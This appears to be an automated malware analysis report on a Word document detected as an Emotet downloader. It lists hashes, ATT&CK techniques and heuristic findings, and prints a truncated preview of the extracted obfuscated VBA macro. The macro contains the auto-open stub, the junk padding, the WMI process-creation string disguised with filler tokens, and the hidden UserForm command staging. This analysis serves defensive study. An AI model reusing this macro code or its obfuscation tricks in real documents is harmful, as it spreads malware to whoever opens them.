Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dca5bf3ec81849f1…

MALICIOUS

Office (OLE)

231.1 KB Created: 2020-08-26 16:22:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: ca53bdb5be4abe4aa20a4e28964c0b9e SHA-1: 45fc4790e245a9a458815621c9334ccf4203461b SHA-256: dca5bf3ec81849f15a96ff016d862539ecab9711026c0dad8dfb63e8fcd6f256
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious intent. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests this file is a downloader. The VBA code is heavily obfuscated, but the presence of CreateObject and auto-execution routines points to a payload download and execution attempt.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10497 bytes
SHA-256: bfcab09487da24b28248d4bd105f6eb5932ffcd628c16d9c9f86dcc609e76db4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Qnf85v2nbqjly9oc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Lls8r9alkxu7t.Alj1_d4kt3lzt3whax
End Sub


Attribute VB_Name = "Lls8r9alkxu7t"
Attribute VB_Base = "0{6FAEB930-2837-4E68-A12F-FA05AA4BC6FF}{57642A8F-0391-4B58-95EA-9927FD1A7076}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Alj1_d4kt3lzt3whax()
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Lls8r9alkxu7t.M81fiu4gayx5_
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
O8b0zt5a8si473z = dw + 45 + ee + 55
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Lls8r9alkxu7t.M81fiu4gayx5_
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Dn7wrjzme04om_ = ChrW(O8b0zt5a8si473z + (fqd + 10 + vvvv + 5))
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Lls8r9alkxu7t.M81fiu4gayx5_
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
G8_ofrtepfzkmwa = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Dn7wrjzme04om_ + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Lls8r9alkxu7t.M81fiu4gayx5_ + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Lls8r9alkxu7t.M81fiu4gayx5_
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Sr7k4bfoyr0 = V2lcxwxlljnf(G8_ofrtepfzkmwa)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Lls8r9alkxu7t.M81fiu4gayx5_
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Set Hd04v_pjnktr9l = CreateObject(Sr7k4bfoyr0)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Lls8r9alkxu7t.M81fiu4gayx5_
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Vx08snp14lx608m3g7 = Lls8r9alkxu7t.Lk7ls8atuhfqxe45e.ControlTipText
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Lls8r9alkxu7t.M81fiu4gayx5_
... (truncated)

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